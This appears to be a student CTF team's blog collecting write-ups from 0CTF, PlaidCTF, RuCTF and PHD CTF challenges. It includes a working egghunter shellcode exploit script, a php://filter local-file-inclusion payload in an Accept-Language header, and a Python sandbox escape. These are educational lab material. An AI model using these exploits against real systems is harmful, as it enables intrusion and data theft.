Monday, March 30, 2015

0CTF 2015 Quals - Misc geo newbie

This challenge involved giving Country Alpha2 codes as responses.  It had 3 different levels.

For the first 20 challenges, it asked what a specific the Alpha2 code was for a specific country.

To solve these, I used Google's maps geocode API.
An example of use this is:
 https://maps.googleapis.com/maps/api/geocode/json?address=new%20york

Sometimes, the API would not think that the country that I sent was a country.  So I appended 'country' to the beginning of each address query string for the first 20 challenges:
https://maps.googleapis.com/maps/api/geocode/json?address=country%20canada

I then had to parse the JSON response for the country Alpha2 code. It seemed that the last
"address_components" contained the country and it's code, however, I noticed later that some did not.  So I adjust my code to quickly solve hopefully most of this issue:
for d in respdata['results'][0]['address_components'][::-1]:
    alpha2 = d['short_name']
    if len(alpha2) == 2:
        break

For the next 50 challenges (20-70), the server gave us a place, such as a city, nickname, state, etc., and it requested the code of the country that the place was located in.  Luckily for us, the above solution would work for this as well.

There were a few places that the geocode API would get wrong, so we hard-coded the solutions in dictionaries.  I found it funny that Lego was not a city, but the location of the headquarters...

After solving 70 challenges, the server requested what countries a specific mountain range or river run through.  For this, I used Wikipedia's API to search for the mountain range or river, but instead of trying to parse the JSON response, I used regex to find the countries associated that it was in:
countries = re.findall(r'country\d?\W*=\W*(\w+[ \w+]*)',respdata)

I then took these countries, and got all of their Alpha2 codes using Google's API.  After I finished 74 it printed the flag:


Flag was 0CTF{eNj0y_geography_l0v3_7hE_w0lRd}

Source code can be found here

Monday, April 14, 2014

Pwnables 100 Tenement PlaidCTF 2014


Pwnables 100 PlaidCTF 2014

Credit to Ryan & Darek

This was a very interesting and fun challenge. First in order to debug the program live we had to install some dependencies:
  1. Libseccomp: libseccomp2_2.1.0+dfsg-1_i386.deb
  2. Libjansson: libjansson4_2.2.1-1_i386.deb
Now we are presented with the following message when trying to run the tenement program:


We need to provide a config file for the program. Upon further inspection of the executable we found that the config file needed to be in json format and the program expects the json to have two elements a string "key" and an integer array "addrs".



We see that the flag is snprintf into the heap in the following format: PPPP: FLAG. This will be important to us later when we want to find the flag in memory. After the config file is read into memory the executable calls mmap, then verifies (integer inside the addrs array – address returned by mmap = 4000h). If this check passes the executable copies the flag into the virtual address space created by mmap and marks the whole section as read only. 


Using this information we were able to recreate the json config file required to run program:

{ "key":"HEREISTHEFLAG" , "addrs":[-1208098816]}

Sure enough we can verify at run time the flag is copied into a very high address in memory: 0xB7FDA000.



Vulnerable Function

After the config file information is loaded it calls the vulnerable function. The function reads 0x80 bytes onto a stack address that is pointed to by edi, then calls edi. 


So we have the ability to put and run any shellcode we want on the stack. Unfortunately however, if you attempt to run shellcode that executes a system command like “ls” you get the following message: Bad System Call. The solution to this problem is to write shellcode that we will use as an egghunter to search memory for the “PPPP” tag, once the tag is found we can call write and print out the flag the assembly of our egghunter is as follows:


Our final exploit code:

# Imports
import socket

HOST = '54.237.240.143'       # The Host address to connect to
PORT = 9999                 # The port to connect to

# Create a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to the remote server
s.connect((HOST, PORT))

# Receive welcome text
r = s.recv(1024) 

# Print welcome text
print r

# Egghunter shellcode
shellcode = ("\xfc\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x04\xcd\x80\x3c\xf2\x74\xee\xb8\x50\x50\x50\x50\x89\xd7\xaf\x75\xe9\x89\xFB\x6A\x32\x53\x6A\x01\x57\xB8\x60\x88\x04\x08\xFF\xE0")

# Send the shellcode
s.send(shellcode)

# Shellcode is sent
print 'Waiting for flag'

# Receive flag
r = s.recv(1024) 

# Print the flag
print `r`

# Close our connection
s.close()
The Flag:




Thursday, March 13, 2014

RuCTF Quals 2014 PPC 200 - Maze

We're given a hint (Universal dangerous positive) along with an IP (194.226.244.125) and a port (1024) to connect to.  They also gave us a password to connect:



We assumed it was UDP because of the hint.  Every time we attempted to use netcat UDP, however, it would not respond.  We just thought it was down, until eventually it connected once I decided try to connect using python instead.  I'm assuming that netcat didn't work because it was also sending the newline character with the sent password, so it would not authorize.

When you first connect, you are are told which directions you can go in the maze, which are other ports on the box.  The passwords for those directions are also given.



When you connect to any other port, however, you are not given the port number.  So, I guessed that the distance between the starting ports was the same for that entire specified direction and that it was the reverse distance for the opposite directions.

I wrote a script in python to reach each found port. The script can be found here.

The script to a awhile to run (~1 hour), since the maze was almost 256 by 256.  The port that contained the key was port 65534.  When I first say my script printed the response, I was confused because I didn't remember adding any printing.  Then I realized it was the key...



The key was RUCTF_77pd9u784g059t0z18hjtn5d

Wednesday, March 12, 2014

RuCTF Quals 2014 Web 100 - php

For this one, they give us a link to a website and tell us to find the key.

When you visit the site, you're greeted with the english or russian version of the Capture the Flag entry in Wikipedia:



From the hint, "Language was detect automatically", we figured we had to modify the Accept-Language header to obtain the key.

After several attempts, we found out that we have the page echo back any page we want, however, it will attempt to run any PHP code.  When we tried to have it echo back index.php, it would attempt to load the file infinitely because the file itself is attempting to echo itself:
<!doctype html>
<html>
<head>
  <style type="text/css">
    pre { width: 640px; white-space: normal; text-align: justify;};
  </style>
</head>
<body>
<center>
<h2>CTF</h2>
<!doctype html>
<html>
<head>
  <style type="text/css">
    pre { width: 640px; white-space: normal; text-align: justify;};
  </style>
</head>
<body>
<center>
<h2>CTF</h2>
<!doctype html>
<html>
<head>
  <style type="text/css">
    pre { width: 640px; white-space: normal; text-align: justify;};
  </style>
</head>
<body>
<center>
<h2>CTF</h2>
<!doctype html>
...

After recalling some knowledge of PHP, I remember about the IO streams that you can call, such as php://stdout or php://stdin.

After some googling, I discovered the filter stream.  The filter stream can be used to read from a file, not only in its ASCII representation, but in several available formats.  We then decided to open index.php encoded in base64:

Accept-Language: php://filter/convert.base64-encode/resource=index.php


This worked and returned to us with the base64 encoding of index.php:

PCFkb2N0eXBlIGh0bWw+CjxodG1sPgo8aGVhZD4KICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgogICAgcHJlIHsgd2lkdGg6IDY0MHB4OyB3aGl0ZS1zcGFjZTogbm9ybWFsOyB0ZXh0LWFsaWduOiBqdXN0aWZ5O307CiAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPGNlbnRlcj4KPGgyPkNURjwvaDI+Cjw/cGhwCiAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcpOwogICRmbGFnID0gJzVjZjI3ZDliYWQyZmU5ZDk2ZDJiY2YyNWMzYjBiZDE0JzsKICAkb2sgICA9IDA7CiAgZm9yZWFjaChleHBsb2RlKCcsJywgJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pIGFzICRzKSB7CiAgICAkbCA9IGV4cGxvZGUoJzsnLCAkcylbMF07CiAgICBpZiAoaW5jbHVkZSAkbCkgewogICAgICAkb2sgPSAxOwogICAgICBicmVhazsKICAgIH0KICB9CiAgaWYgKCEkb2spIHsKICAgIGluY2x1ZGUgJ2VuJzsKICAgIGVjaG8gJ0xhbmd1YWdlIHdhcyBub3QgZGV0ZWN0IGF1dG9tYXRpY2FsbHkgOignOwogIH0gZWxzZSB7CiAgICBlY2hvICdMYW5ndWFnZSB3YXMgZGV0ZWN0IGF1dG9tYXRpY2FsbHkgOiknOwogIH0KPz4KPGNlbnRlcj4KPC9ib2R5Pgo8L2h0bWw+Cg==


This converts to:
<!doctype html>
<html>
<head>
  <style type="text/css">
    pre { width: 640px; white-space: normal; text-align: justify;};
  </style>
</head>
<body>
<center>
<h2>CTF</h2>
<?php
  header('Content-Type: text/html; charset=utf-8');
  $flag = '5cf27d9bad2fe9d96d2bcf25c3b0bd14';
  $ok   = 0;
  foreach(explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $s) {
    $l = explode(';', $s)[0];
    if (include $l) {
      $ok = 1;
      break;
    }
  }
  if (!$ok) {
    include 'en';
    echo 'Language was not detect automatically :(';
  } else {
    echo 'Language was detect automatically :)';
  }
?>
<center>
</body>
</html>

The flag was 5cf27d9bad2fe9d96d2bcf25c3b0bd14

Tuesday, March 11, 2014

RuCTF Quals 2014 Stegano 100 - Cat's eye

We're given a tiny gif image for this challenge:







So, first things first, I opened the image using StegSolve.  I saved all 8 frames using the frame browser. I then wrote a python script (using PIL) that XOR'd the images pixel with each other.  The output was an image that looked similar to this:







I couldn't find any hidden data within the pixels of the image.  I then realized that the frames were using palettes, so the mode for the image in python was labeled as 'P'.  I decided to convert each one of the frames to mode 'RGBA' instead, because, originally, when I would get a pixel, it return a single value.  This way, I could then XOR each red, green, blue, and alpha value of each frame with each other.

I then modified my current script to XOR each of these 'RGBA' mode frames with each other.

I never checked the alpha channel previously or if the image originally had an alpha channel.  So, naturally I then found that there was no difference in the new images alpha channels.  I then set all alpha channel values to 255, so I could visually see the image (the XOR results were 0 since there was no difference between the images.)

I also noticed how some red pixels of the newly created XOR'd image were not all 0.  I then set any red pixel value that was not 0 to 255 so I could easily view a hidden image if there was one. The resulting image was this:







I immediately though that there was some sort of hidden text within those pixel values that were set.  So, I open the image in StegSolve.  I checked the red channel for steganography and found the key:




























 The key is  RUCTF_e4dd9f5cee307b322c3a27abe66e3df9


Source code for my script can be found here.

RuCTF Quals 2014 Misc 100 - Shredder

For this challenge, we're given an image of a shredded document:



Soon after, we discovered that the original paper document was a print screen of an email within GMail.  We eventually decided it would be easiest to print out the image and physically put the pieces back together.

Using our terrible school printing system, we eventually managed to print the image.  Alas, the image that was printed only contained about 3/4ths of the original image. 

So, I then put what pieces I had cut up together and looked at the original image for pieces I did not have. 


I ended up numbering the pieces of paper that contained the key, which eventually resulted in finding the actual key:


 Key is  RUCTF_TO_SHRED_IS_NOT_ENOUGH

Tuesday, January 28, 2014

PHD CTF Quals 2014 - yet another pyjail

For this python jail, they give us an IP to connect to as well as the source code:

import re
import sys
import string
from sys import stdout
sys.stderr = stdout


sanitize = re.compile(
    r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)'
    ).sub

trusted_builtins = """
    True False type int
    """.split()


alphabet = ' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}'

t1 = ''.join(chr(code) for code in xrange(256))
t2 = []
for i in t1:
    if i in alphabet:
        t2.append(i)
    else:
        t2.append(' ')
trans_table = string.maketrans(t1, ''.join(t2))

EXPECTED = 13.37

del alphabet, t1, t2, i, sys, string, re


def clear_builtins():
    orig = __builtins__.__dict__.copy()
    __builtins__.__dict__.clear()
    for i in trusted_builtins:
        __builtins__.__dict__[i] = orig[i]


part1_of_flag = '******************'
part2_of_flag = '******************'
egg = 'egg'


def main():

    if raw_input() != 'leetleetleetleet':
        return

    print ('Welcome to pyjail!\n\n'
           'Try to get the flag!\n'
           'Use ctrl+D or --- to submit your code\n')

    stdout.flush()
    
    code = []
    total_bytes = 0
    while True:
        try:
            value = raw_input()
            total_bytes += len(value)
            assert total_bytes < 1337
            if value == '---':
                break
            code.append(value)
        except EOFError:
            break
    
    code = sanitize("/*ERR*/", '\n'.join(code).translate(trans_table))
    clear_builtins()

    def sandbox():

        t=r=y = t=o = s=o=l=v=e = t=h=e = d=i=v=i=s=i=o=n = q=u=i=z = 0

        def exec_in_context(ctx):
            exec code in ctx
            print 'Flag is',
            try:
                assert FLAG != part1_of_flag
                print FLAG
            except:
                print '********************'

        def we_must_be_sure_flag_part1_is_ready():
            global FLAG
            FLAG = part1_of_flag

        def we_must_be_sure_flag_part2_is_ready():
            global FLAG
            FLAG += part2_of_flag

        def divider(v1):
            
            a = "You are lucky!"
            b = "Try again!"

            def divider(v2):
                i,t,s,  n,o,t,  s,o,  h,a,r,d
                if int(v1) / int(v2) == EXPECTED:
                    print a
                    we_must_be_sure_flag_part2_is_ready()
                else:
                    print b
            we_must_be_sure_flag_part1_is_ready()
            return divider
        
        exec_in_context({'div': divider})

    sandbox()


if __name__ == '__main__':
    main()


This program sanitizes our code by replacing specified strings with /*ERR*/:

r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)'

It also only allows the following characters to be used:

' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}'

It also clears the current built ins and replaces them with the "safe" variables:

True False type int

Our code is then executed with access to the divider function which calls we_must_be_sure_flag_part1_is_ready() and returns a different divider function. Divider(v2) checks if int(v1) / int(v2)  is EXPECTED, which was initialized to 13.37.

So, somehow magically we're supposed to make two 'integers' equal a float?
import black_magic

I first decided to attempt to create another object that inherits the int object.  I modified __int__ to simply return what its given.  I also modified __div__ to return the float 13.37 every time it is called.  I used type to create my new pseudo-integer class object.
def fint(self):    return self
def fdiv(self,o):    return 13.37

a = type('new_int', (int,), {'__div__': fdiv, '__int__': fint})


This allows so that when I create a new_int using an integer, a(1), performing int(new_int) will return an integer value, but still be of type new_int.  Using a float, a(1.0), would cause int(new_int) to return a float value and throw an exception. 

The jail doesn't allow me to enter the quote ( ' ) character sadly. Good thing there is a listof strings in div.func_code.co_freevars:
('d', 'h', 'i', 'n', 'o', 'r', 's', 't', 'we_must_be_sure_flag_part1_is_ready', 'we_must_be_sure_flag_part2_is_ready')
I can also get the 'v' character from div.func_name

But wait!  The plus (+) operator cannot be used AND replace(), join(), format(), and translate() cannot be used!!!

Good thing there is a ljust() function then!
The ljust function takes a given string and returns a modified string at least n wide and fills any extra characters with optionally given padding (default is space).

s = div.func_code.co_freevars
_div_ = s[8][2].ljust(2, s[8][2]).ljust(3, s[0]).ljust(4, s[2]).ljust(5, div.func_name[2]).ljust(6, s[8][2]).ljust(7, s[8][2])
_int_ = s[8][2].ljust(2, s[8][2]).ljust(3, s[2]).ljust(4, s[3]).ljust(5, s[7]).ljust(6, s[8][2]).ljust(7, s[8][2])

print _div_;print _int_
---
__div__
__int__

 After this it was just plug and play:

leetleetleetleet
Welcome to pyjail!

Try to get the flag!
Use ctrl+D or --- to submit your code

def fint(self):return self
def fdiv(self,o):return 13.37
s=div.func_code.co_freevars
_div_=s[8][2].ljust(2,s[8][2]).ljust(3,s[0]).ljust(4,s[2]).ljust(5,div.func_name[2]).ljust(6,s[8][2]).ljust(7,s[8][2])
_int_=s[8][2].ljust(2,s[8][2]).ljust(3,s[2]).ljust(4,s[3]).ljust(5,s[7]).ljust(6,s[8][2]).ljust(7,s[8][2])
a=type(s[0],(int,),{_div_: fdiv,_int_:fint})
div(a(1))(a(1))

---
You are lucky!
Flag is 7hE_0w15_4R3_n07_wh47_7h3Y_533m--7hEr3_15_4_m4n_1n_a_5m111n9_649